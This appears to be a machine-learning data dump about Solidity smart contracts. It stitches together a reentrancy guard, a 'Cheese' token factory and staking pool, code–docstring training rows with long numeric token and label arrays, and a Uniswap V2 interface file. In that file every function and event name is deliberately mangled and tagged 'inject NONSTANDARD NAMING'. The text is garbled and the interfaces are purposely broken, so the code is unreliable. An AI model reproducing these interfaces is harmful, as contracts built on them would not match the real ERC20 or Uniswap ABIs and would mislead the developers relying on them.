* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, 'ReentrancyGuard: reentrant call');
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Dependency file: contracts/CheeseFactory.sol
// pragma solidity >=0.6.5 <0.8.0;
// import '/Users/sg99022ml/Desktop/chfry-protocol-internal/node_modules/@openzeppelin/contracts/math/SafeMath.sol';
// import 'contracts/libraries/Upgradable.sol';
// import 'contracts/CheeseToken.sol';
// import 'contracts/libraries/ConfigNames.sol';
// import '/Users/sg99022ml/Desktop/chfry-protocol-internal/node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol';
//a1 = 75000, n = week, d= -390, week = [0,156]
//an=a1+(n-1)*d
//Sn=n*a1+(n(n-1)*d)/2
contract CheeseFactory is UpgradableProduct, ReentrancyGuard {
using SafeMath for uint256;
uint256 public constant MAX_WEEK = 156;
uint256 public constant d = 390 * 10**18;
uint256 public constant a1 = 75000 * 10**18;
uint256 public constant TOTAL_WEIGHT = 10000;
uint256 public startTimestamp;
uint256 public lastTimestamp;
uint256 public weekTimestamp;
uint256 public totalMintAmount;
CheeseToken public token;
bool public initialized;
struct Pool {
address pool;
uint256 weight;
uint256 minted;
}
mapping(bytes32 => Pool) public poolInfo;
constructor(address token_, uint256 weekTimestamp_) public {
weekTimestamp = weekTimestamp_;
token = CheeseToken(token_);
}
function setCheeseToken(address token_) external requireImpl {
token = CheeseToken(token_);
}
function setPool(bytes32 poolName_, address poolAddress_) external requireImpl {
require(poolName_ == ConfigNames.PRIVATE || poolName_ == ConfigNames.STAKE, 'name error');
Pool storage pool = poolInfo[poolName_];
pool.pool = poolAddress_;
}
modifier expectInitialized() {
require(initialized, 'not initialized.');
_;
}
function initialize(
address private_,
address stake_,
uint256 startTimestamp_
) external requireImpl {
require(!initialized, 'already initialized');
require(startTimestamp_ >= block.timestamp, '!startTime');
// weight
poolInfo[ConfigNames.PRIVATE] = Pool(private_, 1000, 0);
poolInfo[ConfigNames.STAKE] = Pool(stake_, 9000, 0);
initialized = true;
startTimestamp = startTimestamp_;
lastTimestamp = startTimestamp_;
}
function preMint() public view returns (uint256) {
if (block.timestamp <= startTimestamp) {
return uint256(0);
}
if (block.timestamp <= lastTimestamp) {
return uint256(0);
}
uint256 time = block.timestamp.sub(startTimestamp);
uint256 max_week_time = MAX_WEEK.mul(weekTimestamp);
// time lt 156week
if (time > max_week_time) {
time = max_week_time;
}
// gt 1week
if (time >= weekTimestamp) {
uint256 n = time.div(weekTimestamp);
//an =a1-(n)*d d<0
//=> a1+(n)*(-d)
uint256 an = a1.sub(n.mul(d));
// gt 1week time stamp
uint256 otherTimestamp = time.mod(weekTimestamp);
uint256 other = an.mul(otherTimestamp).div(weekTimestamp);
//Sn=n*a1+(n(n-1)*d)/2 d<0
// => n*a1-(n(n-1)*(-d))/2
// fist = n*a1
uint256 first = n.mul(a1);
// last = (n(n-1)*(-d))/2
uint256 last = n.mul(n.sub(1)).mul(d).div(2);
uint256 sn = first.sub(last);
return other.add(sn).sub(totalMintAmount);
} else {
return a1.mul(time).div(weekTimestamp).sub(totalMintAmount);
}
}
function _updateTotalAmount() internal returns (uint256) {
uint256 preMintAmount = preMint();
totalMintAmount = totalMintAmount.add(preMintAmount);
lastTimestamp = block.timestamp;
return preMintAmount;
}
function prePoolMint(bytes32 poolName_) public view returns (uint256) {
uint256 preMintAmount = preMint();
Pool memory pool = poolInfo[poolName_];
uint256 poolTotal = totalMintAmount.add(preMintAmount).mul(pool.weight).div(TOTAL_WEIGHT);
return poolTotal.sub(pool.minted);
}
function poolMint(bytes32 poolName_) external nonReentrant expectInitialized returns (uint256) {
Pool storage pool = poolInfo[poolName_];
require(msg.sender == pool.pool, 'Permission denied');
_updateTotalAmount();
uint256 poolTotal = totalMintAmount.mul(pool.weight).div(TOTAL_WEIGHT);
uint256 amount = poolTotal.sub(pool.minted);
if (amount > 0) {
token.mint(msg.sender, amount);
pool.minted = pool.minted.add(amount);
}
return amount;
}
}
// Root file: contracts/CheeseStakePool.sol
pragma solidity >=0.6.5 <0.8.0;
contract CheeseStakePool is UpgradableProduct, ReentrancyGuard {
event AddPoolToken(address indexed pool, uint256 indexed weight);
event UpdatePoolToken(address indexed pool, uint256 indexed weight);
event Stake(address indexed pool, address indexed user, uint256 indexed amount);
event Withdraw(address indexed pool, address indexed user, uint256 indexed amount);
event Claimed(address indexed pool, address indexed user, uint256 indexed amount);
event SetCheeseFactory(address indexed factory);
event SetCheeseToken(address indexed token);
event SettleFlashLoan(bytes32 indexed merkleRoot, uint256 indexed index, uint256 amount, uint256 settleBlockNumber);
using TransferHelper for address;
using SafeMath for uint256;
struct UserInfo {
uint256 amount;
uint256 debt;
uint256 reward;
uint256 totalIncome;
}
struct PoolInfo {
uint256 pid;
address token;
uint256 weight;
uint256 rewardPerShare;
uint256 reward;
uint256 lastBlockTimeStamp;
uint256 debt;
uint256 totalAmount;
}
struct MerkleDistributor {
bytes32 merkleRoot;
uint256 index;
uint256 amount;
uint256 settleBlocNumber;
}
CheeseToken public token;
CheeseFactory public cheeseFactory;
PoolInfo[] public poolInfos;
PoolInfo public flashloanPool;
uint256 public lastBlockTimeStamp;
uint256 public rewardPerShare;
uint256 public totalWeight;
MerkleDistributor[] public merkleDistributors;
mapping(address => uint256) public tokenOfPid;
mapping(address => bool) public tokenUsed;
mapping(uint256 => mapping(address => UserInfo)) public userInfos;
mapping(uint256 => mapping(address => bool)) claimedFlashLoanState;
constructor(address cheeseFactory_, address token_) public {
cheeseFactory = CheeseFactory(cheeseFactory_);
token = CheeseToken(token_);
_initFlashLoanPool(0);
}
function _initFlashLoanPool(uint256 flashloanPoolWeight) internal {
flashloanPool = PoolInfo(0, address(this), flashloanPoolWeight, 0, 0, block.timestamp, 0, 0);
totalWeight = totalWeight.add(flashloanPool.weight);
emit AddPoolToken(address(this), flashloanPool.weight);
}
function setCheeseFactory(address cheeseFactory_) external requireImpl {
cheeseFactory = CheeseFactory(cheeseFactory_);
emit SetCheeseFactory(cheeseFactory_);
}
function setCheeseToken(address token_) external requireImpl {
token = CheeseToken(token_);
emit SetCheeseToken(token_);
}
modifier verifyPid(uint256 pid) {
require(poolInfos.length > pid && poolInfos[pid].token != address(0), 'pool does not exist');
_;
}
modifier updateAllPoolRewardPerShare() {
if (totalWeight > 0 && block.timestamp > lastBlockTimeStamp) {
(uint256 _reward, uint256 _perShare) = currentAllPoolRewardShare();
rewardPerShare = _perShare;
lastBlockTimeStamp = block.timestamp;
require(_reward == cheeseFactory.poolMint(ConfigNames.STAKE), 'pool mint error');
}
_;
}
modifier updateSinglePoolReward(PoolInfo storage poolInfo) {
if (poolInfo.weight > 0) {
uint256 debt = poolInfo.weight.mul(rewardPerShare).div(1e18);
uint256 poolReward = debt.sub(poolInfo.debt);
poolInfo.reward = poolInfo.reward.add(poolReward);
poolInfo.debt = debt;
}
_;
}
modifier updateSinglePoolRewardPerShare(PoolInfo storage poolInfo) {
if (poolInfo.totalAmount > 0 && block.timestamp > poolInfo.lastBlockTimeStamp) {
(uint256 _reward, uint256 _perShare) = currentSinglePoolRewardShare(poolInfo.pid);
poolInfo.rewardPerShare = _perShare;
poolInfo.reward = poolInfo.reward.sub(_reward);
poolInfo.lastBlockTimeStamp = block.timestamp;
}
_;
}
modifier updateUserReward(PoolInfo storage poolInfo, address user) {
UserInfo storage userInfo = userInfos[poolInfo.pid][user];
if (userInfo.amount > 0) {
uint256 debt = userInfo.amount.mul(poolInfo.rewardPerShare).div(1e18);
uint256 userReward = debt.sub(userInfo.debt);
userInfo.reward = userInfo.reward.add(userReward);
userInfo.debt = debt;
}
_;
}
function getPoolInfo(uint256 pid)
external
view
virtual
verifyPid(pid)
returns (
uint256 _pid,
address _token,
uint256 _weight,
uint256 _rewardPerShare,
uint256 _reward,
uint256 _lastBlockTimeStamp,
uint256 _debt,
uint256 _totalAmount
)
{
PoolInfo memory pool = poolInfos[pid];
return (
pool.pid,
pool.token,
pool.weight,
pool.rewardPerShare,
pool.reward,
pool.lastBlockTimeStamp,
pool.debt,
pool.totalAmount
);
}
function getPoolInfos()
external
view
virtual
returns (
uint256 length,
uint256[] memory _pid,
address[] memory _token,
uint256[] memory _weight,
uint256[] memory _lastBlockTimeStamp,
uint256[] memory _totalAmount
)
{
length = poolInfos.length;
_pid = new uint256[](length);
_token = new address[](length);
_weight = new uint256[](length);
_lastBlockTimeStamp = new uint256[](length);
_totalAmount = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
PoolInfo memory pool = poolInfos[i];
_pid[i] = pool.pid;
_token[i] = pool.token;
_weight[i] = pool.weight;
_lastBlockTimeStamp[i] = pool.lastBlockTimeStamp;
_totalAmount[i] = pool.totalAmount;
}
return (length, _pid, _token, _weight, _lastBlockTimeStamp, _totalAmount);
}
function getUserInfo(uint256 pid, address userAddress)
external
view
virtual
returns (
uint256 _amount,
uint256 _debt,
uint256 _reward,
uint256 _totalIncome
)
{
UserInfo memory userInfo = userInfos[pid][userAddress];
return (userInfo.amount, userInfo.debt, userInfo.reward, userInfo.totalIncome);
}
function currentAllPoolRewardShare() public view virtual returns (uint256 _reward, uint256 _perShare) {
_reward = cheeseFactory.prePoolMint(ConfigNames.STAKE);
_perShare = rewardPerShare;
if (totalWeight > 0) {
_perShare = _perShare.add(_reward.mul(1e18).div(totalWeight));
}
return (_reward, _perShare);
}
function currentSinglePoolRewardShare(uint256 pid)
public
view
virtual
verifyPid(pid)
returns (uint256 _reward, uint256 _perShare)
{
PoolInfo memory poolInfo = poolInfos[pid];
_reward = poolInfo.reward;
_perShare = poolInfo.rewardPerShare;
if (poolInfo.totalAmount > 0) {
uint256 pendingShare = _reward.mul(1e18).div(poolInfo.totalAmount);
_perShare = _perShare.add(pendingShare);
}
return (_reward, _perShare);
}
function stake(uint256 pid, uint256 amount)
external
virtual
nonReentrant
verifyPid(pid)
updateAllPoolRewardPerShare
updateSinglePoolReward(poolInfos[pid])
updateSinglePoolRewardPerShare(poolInfos[pid])
updateUserReward(poolInfos[pid], msg.sender)
{
PoolInfo storage poolInfo = poolInfos[pid];
if (amount > 0) {
UserInfo storage userInfo = userInfos[pid][msg.sender];
userInfo.amount = userInfo.amount.add(amount);
userInfo.debt = userInfo.amount.mul(poolInfo.rewardPerShare).div(1e18);
poolInfo.totalAmount = poolInfo.totalAmount.add(amount);
address(poolInfo.token).safeTransferFrom(msg.sender, address(this), amount);
emit Stake(poolInfo.token, msg.sender, amount);
}
}
function withdraw(uint256 pid, uint256 amount)
external
virtual
nonReentrant
verifyPid(pid)
updateAllPoolRewardPerShare
updateSinglePoolReward(poolInfos[pid])
updateSinglePoolRewardPerShare(poolInfos[pid])
updateUserReward(poolInfos[pid], msg.sender)
{
PoolInfo storage poolInfo = poolInfos[pid];
if (amount > 0) {
UserInfo storage userInfo = userInfos[pid][msg.sender];
require(userInfo.amount >= amount, 'Insufficient balance');
userInfo.amount = userInfo.amount.sub(amount);
userInfo.debt = userInfo.amount.mul(poolInfo.rewardPerShare).div(1e18);
poolInfo.totalAmount = poolInfo.totalAmount.sub(amount);
address(poolInfo.token).safeTransfer(msg.sender, amount);
emit Withdraw(poolInfo.token, msg.sender, amount);
}
}
function claim(uint256 pid)
external
virtual
nonReentrant
verifyPid(pid)
updateAllPoolRewardPerShare
updateSinglePoolReward(poolInfos[pid])
updateSinglePoolRewardPerShare(poolInfos[pid])
updateUserReward(poolInfos[pid], msg.sender)
{
PoolInfo storage poolInfo = poolInfos[pid];
UserInfo storage userInfo = userInfos[pid][msg.sender];
if (userInfo.reward > 0) {
uint256 amount = userInfo.reward;
userInfo.reward = 0;
userInfo.totalIncome = userInfo.totalIncome.add(amount);
address(token).safeTransfer(msg.sender, amount);
emit Claimed(poolInfo.token, msg.sender, amount);
}
}
function calculateIncome(uint256 pid, address userAddress) external view virtual verifyPid(pid) returns (uint256) {
PoolInfo storage poolInfo = poolInfos[pid];
UserInfo storage userInfo = userInfos[pid][userAddress];
(uint256 _reward, uint256 _perShare) = currentAllPoolRewardShare();
uint256 poolPendingReward = poolInfo.weight.mul(_perShare).div(1e18).sub(poolInfo.debt);
_reward = poolInfo.reward.add(poolPendingReward);
_perShare = poolInfo.rewardPerShare;
if (block.timestamp > poolInfo.lastBlockTimeStamp && poolInfo.totalAmount > 0) {
uint256 poolPendingShare = _reward.mul(1e18).div(poolInfo.totalAmount);
_perShare = _perShare.add(poolPendingShare);
}
uint256 userReward = userInfo.amount.mul(_perShare).div(1e18).sub(userInfo.debt);
return userInfo.reward.add(userReward);
}
function isClaimedFlashLoan(uint256 index, address user) public view returns (bool) {
return claimedFlashLoanState[index][user];
}
function settleFlashLoan(
uint256 index,
uint256 amount,
uint256 settleBlockNumber,
bytes32 merkleRoot
) external requireImpl updateAllPoolRewardPerShare updateSinglePoolReward(flashloanPool) {
require(index == merkleDistributors.length, 'index already exists');
require(flashloanPool.reward >= amount, 'Insufficient reward funds');
require(block.number >= settleBlockNumber, '!blockNumber');
if (merkleDistributors.length > 0) {
MerkleDistributor memory md = merkleDistributors[merkleDistributors.length - 1];
require(md.settleBlocNumber < settleBlockNumber, '!settleBlocNumber');
}
flashloanPool.reward = flashloanPool.reward.sub(amount);
merkleDistributors.push(MerkleDistributor(merkleRoot, index, amount, settleBlockNumber));
emit SettleFlashLoan(merkleRoot, index, amount, settleBlockNumber);
}
function claimFlashLoan(
uint256 index,
uint256 amount,
bytes32[] calldata proof
) external {
address user = msg.sender;
require(merkleDistributors.length > index, 'Invalid index');
require(!isClaimedFlashLoan(index, user), 'Drop already claimed.');
MerkleDistributor storage merkleDistributor = merkleDistributors[index];
require(merkleDistributor.amount >= amount, 'Not sufficient');
bytes32 leaf = keccak256(abi.encodePacked(index, user, amount));
require(MerkleProof.verify(proof, merkleDistributor.merkleRoot, leaf), 'Invalid proof.');
merkleDistributor.amount = merkleDistributor.amount.sub(amount);
claimedFlashLoanState[index][user] = true;
address(token).safeTransfer(msg.sender, amount);
emit Claimed(address(this), user, amount);
}
function addPool(address tokenAddr, uint256 weight) external virtual requireImpl updateAllPoolRewardPerShare {
require(weight >= 0 && tokenAddr != address(0) && tokenUsed[tokenAddr] == false, 'Check the parameters');
uint256 pid = poolInfos.length;
uint256 debt = weight.mul(rewardPerShare).div(1e18);
poolInfos.push(PoolInfo(pid, tokenAddr, weight, 0, 0, block.timestamp, debt, 0));
tokenOfPid[tokenAddr] = pid;
tokenUsed[tokenAddr] = true;
totalWeight = totalWeight.add(weight);
emit AddPoolToken(tokenAddr, weight);
}
function _updatePool(PoolInfo storage poolInfo, uint256 weight) internal {
totalWeight = totalWeight.sub(poolInfo.weight);
poolInfo.weight = weight;
poolInfo.debt = poolInfo.weight.mul(rewardPerShare).div(1e18);
totalWeight = totalWeight.add(weight);
}
function updatePool(address tokenAddr, uint256 weight)
external
virtual
requireImpl
verifyPid(tokenOfPid[tokenAddr])
updateAllPoolRewardPerShare
updateSinglePoolReward(poolInfos[tokenOfPid[tokenAddr]])
updateSinglePoolRewardPerShare(poolInfos[tokenOfPid[tokenAddr]])
{
require(weight >= 0 && tokenAddr != address(0), 'Parameter error');
PoolInfo storage poolInfo = poolInfos[tokenOfPid[tokenAddr]];
require(poolInfo.token == tokenAddr, 'pool does not exist');
_updatePool(poolInfo, weight);
emit UpdatePoolToken(address(poolInfo.token), weight);
}
function updateFlashloanPool(uint256 weight)
external
virtual
requireImpl
updateAllPoolRewardPerShare
updateSinglePoolReward(flashloanPool)
{
require(weight >= 0, 'Parameter error');
_updatePool(flashloanPool, weight);
emit UpdatePoolToken(address(flashloanPool.token), weight);
}
}
|
* @dev Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens./
|
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| 6,285,105 |
[
1,
9378,
28599,
1375,
8949,
68,
2430,
628,
1375,
4631,
9191,
9299,
2822,
326,
2078,
14467,
18,
7377,
1282,
279,
288,
5912,
97,
871,
598,
1375,
869,
68,
444,
358,
326,
3634,
1758,
18,
29076,
30,
300,
1375,
4631,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
4631,
68,
1297,
1240,
622,
4520,
1375,
8949,
68,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
389,
70,
321,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
5024,
288,
203,
202,
202,
6528,
12,
4631,
480,
1758,
12,
20,
3631,
296,
654,
39,
3462,
30,
18305,
628,
326,
3634,
1758,
8284,
203,
203,
202,
202,
67,
5771,
1345,
5912,
12,
4631,
16,
1758,
12,
20,
3631,
3844,
1769,
203,
203,
202,
202,
67,
70,
26488,
63,
4631,
65,
273,
389,
70,
26488,
63,
4631,
8009,
1717,
12,
8949,
16,
296,
654,
39,
3462,
30,
18305,
3844,
14399,
11013,
8284,
203,
202,
202,
67,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1717,
12,
8949,
1769,
203,
202,
202,
18356,
12279,
12,
4631,
16,
1758,
12,
20,
3631,
3844,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xb050A85933FF0807f05d289b7f6457c5eFbC348f/sources/src/Synthesizer.sol
|
@custom:oz-upgrades-unsafe-allow state-variable-immutable @dev the permissioner checks if senders have agreed to legal requirements* @param _ipnft the IPNFT contract @param _permissioner a permissioning contract that checks if callers have agreed to the synthesized token's legal agreements/
|
function initialize(IPNFT _ipnft, IPermissioner _permissioner) external initializer {
__UUPSUpgradeable_init();
__Ownable_init();
ipnft = _ipnft;
permissioner = _permissioner;
}
| 16,490,344 |
[
1,
36,
3662,
30,
11142,
17,
416,
13088,
17,
318,
4626,
17,
5965,
919,
17,
6105,
17,
381,
5146,
225,
326,
4132,
264,
4271,
309,
1366,
414,
1240,
1737,
15656,
358,
19286,
8433,
225,
389,
625,
82,
1222,
326,
2971,
50,
4464,
6835,
225,
389,
9827,
264,
279,
4132,
310,
6835,
716,
4271,
309,
19932,
1240,
1737,
15656,
358,
326,
6194,
7915,
1235,
1147,
1807,
19286,
19602,
87,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4046,
12,
2579,
50,
4464,
389,
625,
82,
1222,
16,
2971,
2635,
264,
389,
9827,
264,
13,
3903,
12562,
288,
203,
3639,
1001,
57,
3079,
55,
10784,
429,
67,
2738,
5621,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
3639,
2359,
82,
1222,
273,
389,
625,
82,
1222,
31,
203,
3639,
4132,
264,
273,
389,
9827,
264,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface IUniswapV2Factory {
event PAIRCREATED765(address indexed token0, address indexed token1, address pair, uint); //inject NONSTANDARD NAMING
function FEETO173() external view returns (address); //inject NONSTANDARD NAMING
function FEETOSETTER947() external view returns (address); //inject NONSTANDARD NAMING
function GETPAIR540(address tokenA, address tokenB) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRS330(uint) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRSLENGTH28() external view returns (uint); //inject NONSTANDARD NAMING
function CREATEPAIR870(address tokenA, address tokenB) external returns (address pair); //inject NONSTANDARD NAMING
function SETFEETO87(address) external; //inject NONSTANDARD NAMING
function SETFEETOSETTER308(address) external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Pair {
event APPROVAL174(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER306(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME472() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL588() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS125() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY849() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF412(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE690(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE763(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER680(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM721(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR798() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH5() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES780(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT824(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT900(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN945(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP468( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC111(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY386() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY86() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0481() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1550() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES473() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST512() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST431() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST25() external view returns (uint); //inject NONSTANDARD NAMING
function MINT371(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN742(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP14(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM245(address to) external; //inject NONSTANDARD NAMING
function SYNC404() external; //inject NONSTANDARD NAMING
function INITIALIZE744(address, address) external; //inject NONSTANDARD NAMING
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant resolution65 = 112; //inject NONSTANDARD NAMING
// encode a uint112 as a UQ112x112
function ENCODE953(uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
